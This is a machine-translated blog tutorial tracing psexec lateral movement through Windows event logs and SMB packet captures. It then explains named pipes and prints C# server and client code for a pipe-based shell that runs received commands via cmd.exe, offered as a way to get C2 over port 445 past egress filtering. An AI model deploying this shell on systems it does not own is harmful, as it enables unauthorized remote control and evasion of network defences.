Desde el principio de realización del control remoto psexec hasta Windows named pipe

parte psexec

psexec se usa generalmente para hacer movimientos horizontales. Mientras tengamos la cuenta y la contraseña del otro host, podemos controlar remotamente el otro host. Veamos primero qué sucede cuando ejecutamos el programa psexec.

Activos existentes

usuario ip Nombre de la CPU
zhangsan 192.168.23.23 rojo
lisis 192.168.23.99 azul

Este experimento consiste en ejecutar psexec desde el host de zhangsan y usar la cuenta de lisi para conectarse al host de lisi

De los eventos del host conectado (lisi), vea lo que hizo psexec

Este es el comienzo del grupo de eventos, podemos ver que hay dos registros de tipo de inicio de sesión
Inserte la descripción de la imagen aquí

Haga clic en el primer registro para encontrar que es una solicitud de inicio de sesión del host zhangsan a la computadora lisi, y que el inicio de sesión es exitoso y el método de autenticación es ntlm
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí

Cuando abra la segunda vez, encontrará que es una cuenta para iniciar sesión en zhangsan en el host lisi y la pantalla falla.
Inserte la descripción de la imagen aquí
El contenido de estos cuatro registros registra que el host de zhangsan escribe psexsvc.exe en el host de lisi en el directorio c: \ windows \ del host lisi:
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí

Luego use el canal ipc y llame al servicio svcctl, que nos permite abrir el servicio remoto especificado
Inserte la descripción de la imagen aquí

Luego hay muchas operaciones de archivos, porque después de instalar 360, descubrí que casi todo 360 está funcionando
Inserte la descripción de la imagen aquí
. Hay cuatro archivos compartidos detallados al final de la imagen de arriba. Respectivamente son
Inserte la descripción de la imagen aquí

Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
Esto equivale a establecer cuatro canalizaciones, una para el servicio en sí y la otra para stdin, stdout y stderr del proceso de redirección. El uso de la herramienta pipelist para consultar la lista de canalizaciones también aplicó nuestra inferencia: el
Inserte la descripción de la imagen aquí
siguiente paso es psexesvc para iniciar sesión explícitamente en la cuenta lisi. Uno de los siguientes dos eventos indica un intento de inicio de sesión y el segundo indica un inicio de sesión exitoso:
Inserte la descripción de la imagen aquí

Inserte la descripción de la imagen aquí
Todo esto ha terminado aquí, utilizaremos la tubería con nombre creada para comunicarnos y controlar de forma remota la computadora de la otra parte. Tengo entendido que el último paso para crear canalizaciones con nombre es muy similar al shell inverso en Linux. Para conocer los principios específicos, consulte este artículo mío: Principles of Linux Reverse Shell

La implementación anterior describe lo que hace psexec:
1. Inicie sesión en el host remoto
2. Conéctese al
recurso compartido admin $ 3. Escriba el archivo psexesvc.exe en el directorio compartido, que se encuentra en c: \ windows
4. Utilice la tubería con nombre ipc para llamar al servicio svcctl
5. Utilice el servicio svcctl para abrir el servicio psexesvc
6. Genere 4 canalizaciones con nombre para su uso

Desde el tráfico del atacante, vea lo que se hace detrás del comando psexec

Inserte la descripción de la imagen aquí
La descripción de la figura anterior es bastante clara. Al principio, hicimos tres cosas: el protocolo de enlace tcp3 se conecta al puerto de destino 445, negocia qué protocolo smb usar y luego realiza la autenticación ntlm.
Inserte la descripción de la imagen aquí
A continuación, intente conectarse primero a la tubería IPC $ y luego intente conectarse a admin $, como se muestra en la figura anterior.

Inserte la descripción de la imagen aquí
A continuación, aparecerá el paquete de datos que se muestra en la figura anterior La figura anterior muestra que el archivo psexec.exe se escribirá en el directorio compartido admin $ del objetivo.

Inserte la descripción de la imagen aquí
Inmediatamente después de escribir el archivo, puede ver el contenido del paquete de datos tcp siguiente, que contiene datos 4d5a. Este es el encabezado mz del archivo pe como se muestra en la figura anterior.

Inserte la descripción de la imagen aquí
En este paso, significa que el archivo psexesvc se ha escrito completamente, como se muestra en la figura anterior.

Luego llame a svcctl e inicie el servicio psexec.
Inserte la descripción de la imagen aquí
Puede ver que el siguiente paquete de datos es el protocolo svcctl.
Inserte la descripción de la imagen aquí
Verifique el paquete de datos con información como solicitud de openservicew y descubra que está abriendo el servicio psexesvc.
Inserte la descripción de la imagen aquí
Puede ver que el sistema cerró la solicitud del servicio svcctl y fue a solicitar el servicio psexesvc y crear la primera tubería con nombre psexecsvc
Inserte la descripción de la imagen aquí

A continuación, se crearán las tres canalizaciones con nombre restantes denominadas canalizaciones.
Inserte la descripción de la imagen aquí
Este es el final.
El proceso general es básicamente el mismo que el proceso visto a partir de los eventos del host conectado. Básicamente, son autenticación ntlm, se conectan al directorio compartido admin $, escriben el archivo psexesvc en el directorio compartido, llaman al servicio svcctl para llamar indirectamente al servicio psexesvc y crean cuatro canalizaciones con nombre.


Descubrimos que psexec eventualmente creará tuberías con nombre. Entonces, ¿qué se llama tubería exactamente? ¿Por qué utilizar tuberías con nombre? Y el principio de la conexión ipc $ está realmente relacionado con las canalizaciones con nombre, por lo que a continuación hablaremos de esas cosas sobre las canalizaciones con nombre.


Pipa con nombre

Tubos con nombre que entiendo

En primer lugar, debemos ser claros, las canalizaciones con nombre se comunican en función del protocolo smb, smb, smb, no tcp. Lo importante se dice tres veces. Se utiliza para comunicarse entre dos procesos, que pueden ser procesos locales o procesos remotos. Las canalizaciones con nombre son un poco similares a las conexiones de socket. Se utilizan para transmitir datos. Se pueden establecer permisos específicos para que los procesos con permisos específicos puedan conectarse a canalizaciones con nombre. En teoría, cada programa puede conectarse a canalizaciones con nombre, pero pueden hacer cosas diferentes después de conectarse. Lo que se puede hacer está relacionado con la configuración del servidor.
A continuación se resumen los puntos:
1. La tubería con nombre es una arquitectura C / S y un proceso en el servidor debe crear primero una tubería con nombre.
2. Se puede acceder a las canalizaciones con nombre mediante cualquier proceso que cumpla con los permisos, y se pueden personalizar los permisos a los que se puede acceder.
3. El cliente puede ser un proceso local o un proceso remoto. El acceso al proceso local llamado método pipe es \. \ Pipe \ pipename, y el acceso al proceso remoto llamado método pipe es \ ip \ pipe \ pipename.

Utilizar

Puede escribir un servidor, ejecutar los datos recibidos como un comando y luego devolver el resultado al cliente. Esto es como una canalización en Linux, pero la canalización en Windows es mucho más complicada.
Cuando el sistema restringe otros puertos tcp a la salida, puede utilizar la tecnología de canalización con nombre para crear un servidor c2, porque utiliza el puerto 445 del protocolo smb, que generalmente está permitido de forma predeterminada y no estará prohibido. Eventualmente, se puede realizar una carcasa inversa. El efecto es el siguiente:
Inserte la descripción de la imagen aquí

Implementación de código específico

Dirección de código: https://github.com/malcomvetter/NamedPipes

Código del servidor

using System;
using System.Diagnostics;
using System.IO;
using System.IO.Pipes;
using System.Text;
//上述全部是命名空间,类似于python中的import

namespace Server //命名空间声明
{
    
    
    class Server
    {
    
    
        static void Main(string[] args) //程序入口点
        {
    
    
        /**当不确定变量是什么类型的时候,用var。NamedPipeServerStream这个类是
        System.IO.Pipes命名空间下的。用using的方式使用它就相当于python中的with
        打开文件一样,在一定程度上防止忘记释放某些资源,也可以不使用using。
		**/


            using (var pipe = new NamedPipeServerStream(
                "psexecsvc",
                PipeDirection.InOut,
                NamedPipeServerStream.MaxAllowedServerInstances,
                PipeTransmissionMode.Message))
				/**设置管道名为psexecsvc,管道通信方式为双向通信,双方都可以发送信息
				也都可以接收信息,最大连接数为默认最大连接数,最后一个参数代表的是采
				用信息流的方式来传递数据,而不是字节流,切记一定要用信息流,因为但凡
				使用字节流,那么发送过的信息对方不一定能够全部接收到,而信息流可以保
				证发送的数据可以全部接收到。
				**/
            {
    
    
                Console.WriteLine("[*] Waiting for client connection...");
                pipe.WaitForConnection();//等待管道的另一端发来的连接
                Console.WriteLine("[*] Client connected.");
                while (true)
                {
    
    
                	/**
                	将从命名管道中接收到的字节类型的数组传递给messageBytes,这个字
                	节数组就是客户端发送过来的数据的二进制形式。
                	**/
                    var messageBytes = ReadMessage(pipe);
                    //将字节类型的数组进行UTF-8解码生成的字符串存储到line中
                    var line = Encoding.UTF8.GetString(messageBytes);
                    Console.WriteLine("[*] Received: {0}", line);
                   	//将接收到的字符串转为消协,如果内容是exit,则退出程序。
                    if (line.ToLower() == "exit") return;
					
					/**
					创建一个ProcessStartInfo类,这个类用来指定某个进程的相关属性。
					**/
                    var processStartInfo = new ProcessStartInfo
                    {
    
    
                    	//启动cmd
                        FileName = "cmd.exe",
                        //参数为 /c + line,line为从命名管道中接收到到数据
                        Arguments = "/c " + line,
                        //从定西那个标准输出
                        RedirectStandardOutput = true,
                        //重定向标准错误输出
                        RedirectStandardError = true,
                        //通过将此属性设置false可以重定向标准输入、输出和错误流。
                        UseShellExecute = false
                    };
                    try
                    {
    
    
                    	/**
                    	启动前面定义了信息的进程,如果出错则跳转到catch块。返回的是
                    	一个process类,我的理解是这个process类是一个程序句柄,可以
                    	让你对程序进行指定的操作,如开启结束等。
                    	**/
                        var process = Process.Start(processStartInfo);
                        
                        /**
						读取进程的所有的标准输出,并将标准错误输出与标准输出合成为一
						个字符串。
						**/
                        var output = process.StandardOutput.ReadToEnd();
                        output += process.StandardError.ReadToEnd();
                        //等待线程运行结束,可以理解成等待上面的这个命令运行结束
                        process.WaitForExit();
                        //如果output等于空或者null,则给其赋值为换行符。
                        if (string.IsNullOrEmpty(output))
                        {
    
    
                            output = "\n";
                        }
                        //将输出用UTF编码为一个byte数组。
                        var response = Encoding.UTF8.GetBytes(output);
                        //将这个byte数组的全部数据写到命名管道中管道中。
                        pipe.Write(response, 0, response.Length);
                    }
                    catch (Exception ex)
                    {
    
    
                    	/**如果try块中的某行代码运行出错则捕捉错误,这个错误是
                    	string类型表示的,将这个错误转换为byte数组并输出到命名管道
                    	中。
                    	**/
                        Console.WriteLine(ex);
                        var response = Encoding.UTF8.GetBytes(ex.Message);
                        pipe.Write(response, 0, response.Length);
                    }
                }
            }
        }

        private static byte[] ReadMessage(PipeStream pipe)
        {
    
    
            byte[] buffer = new byte[1024];//创建一个可以存1024个byte数据的数组
            //创建一个内存流的类用来进行数据的传递
            using (var ms = new MemoryStream())
            {
    
    
                do
                {
    
    
            		/**从命名管道中读取数据,从0开始读取字节块,最多读取
            		buffer.Length也就是1024个,然后将读出来的字节的数量返回给
            		redBytes,将读到的数据写到buffer中。
            		**/
                    var readBytes = pipe.Read(buffer, 0, buffer.Length);
                    /**
                    从buffer这个缓冲区中从0字节开始读取数据,读到redBytes字节,然
                    后将这些数据写到当前的内存流中。
                    **/
                    ms.Write(buffer, 0, readBytes);
                }
                //如果命名管道中的信息没有读取完则会一直执行读取操作。
                while (!pipe.IsMessageComplete);

                return ms.ToArray();
                /**
                将内存流中的数据写到数组中,返回一个Byte类
                型的数组。
                **/
            }
        }
    }
}

La lógica de ejecución de todo el código del servidor es:
1. Crear una canalización con nombre, configurar el modo de transmisión en tipo de mensaje y transmisión bidireccional inout, y redirigir la salida estándar y la salida de error
2. Esperar a que el cliente se conecte
3. Leer desde la canalización nombrada después de que la conexión sea exitosa Tome los datos del tipo de matriz de bytes transmitidos desde el cliente y almacene los datos en el flujo de memoria creado.
4. Convierta los datos del tipo de matriz de bytes en tipo de cadena. Estos datos son en realidad el comando enviado por el cliente.
5. Configure la información relacionada con el proceso, como los parámetros.
6. Utilice la función para iniciar el proceso y ejecutar el comando.
7. Ejecute el resultado de la ejecución del comando. Formatee el procesamiento y envíe el resultado a la tubería con nombre
8. Vuelva a la tercera

Codigo del cliente

using System;
using System.IO;
using System.IO.Pipes;
using System.Text;

namespace Client
{
    
    
    class Client
    {
    
    
        static void Main(string[] args)
        {
    
    
        	//连接本地计算机上的命名管道,双向传输数据的模式,管道名为psexecsvc
            using (var pipe = new NamedPipeClientStream("localhost", 		
            "psexecsvc", PipeDirection.InOut))
            {
    
    
            	//连接到命名管道,超市时间为5000毫秒
                pipe.Connect(5000);
                //设置数据的读取方式为message
                pipe.ReadMode = PipeTransmissionMode.Message;
                do
                {
    
    
                    Console.Write("csexec> ");
                    //从命令行接收数据
                    var input = Console.ReadLine();
                    //如果接收到的数据为空或者null,则跳出本次循环
                    if (String.IsNullOrEmpty(input)) continue;
                    //将输出的字符串转换为byte数组类型并存储
                    byte[] bytes = Encoding.Default.GetBytes(input);
                    //将转换格式后的数据写到命名管道中
                    pipe.Write(bytes, 0, bytes.Length);
                    //将输出的自负全部改成小写然后判断是否等于exit如果是则退出程序
                    if (input.ToLower() == "exit") return;
                    //从命名管道中读取数据
                    var result = ReadMessage(pipe);
                    //输出数据
                    Console.WriteLine(Encoding.UTF8.GetString(result));
                    Console.WriteLine();
                } while (true);
            }
        }

        private static byte[] ReadMessage(PipeStream pipe)
        {
    
    
            byte[] buffer = new byte[1024];
            using (var ms = new MemoryStream())
            {
    
    
                do
                {
    
    
                    var readBytes = pipe.Read(buffer, 0, buffer.Length);
                    ms.Write(buffer, 0, readBytes);
                }
                while (!pipe.IsMessageComplete);

                return ms.ToArray();
            }
        }
    }
}

Supongo que te gusta

Origin blog.csdn.net/qq_41874930/article/details/108455478
Recomendado
Clasificación